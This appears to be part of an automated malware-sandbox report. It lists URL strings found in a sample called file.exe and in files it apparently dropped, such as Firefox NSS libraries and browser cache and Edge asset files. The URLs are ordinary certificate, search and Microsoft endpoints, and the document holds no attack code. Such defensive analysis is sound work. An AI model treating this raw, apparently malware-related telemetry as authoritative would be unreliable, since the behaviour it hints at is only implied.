Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_538.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2744061818.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_538.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: c648f0b4-f22b-4423-8188-85e3d68b5e8b.tmp.14.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2740203120.000000002329E000.00000004.00000020.00020000.00000000.sdmp, DBKKFCBAKKFBGCBFHJDG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2740203120.000000002329E000.00000004.00000020.00020000.00000000.sdmp, DBKKFCBAKKFBGCBFHJDG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.14.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.13.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.13.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: c648f0b4-f22b-4423-8188-85e3d68b5e8b.tmp.14.dr	String found in binary or memory: https://clients2.google.com
Source: c648f0b4-f22b-4423-8188-85e3d68b5e8b.tmp.14.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2740203120.000000002329E000.00000004.00000020.00020000.00000000.sdmp, DBKKFCBAKKFBGCBFHJDG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2740203120.000000002329E000.00000004.00000020.00020000.00000000.sdmp, DBKKFCBAKKFBGCBFHJDG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2386013933.0000000000727000.00000004.00000020.00020000.00000000.sdmp, KEHCAFHI.0.dr, Web Data.13.dr, GDHIIIIE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: c648f0b4-f22b-4423-8188-85e3d68b5e8b.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr, HubApps Icons.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr, HubApps Icons.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 567d7f09-eba0-4c58-8210-fa9aab88a449.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
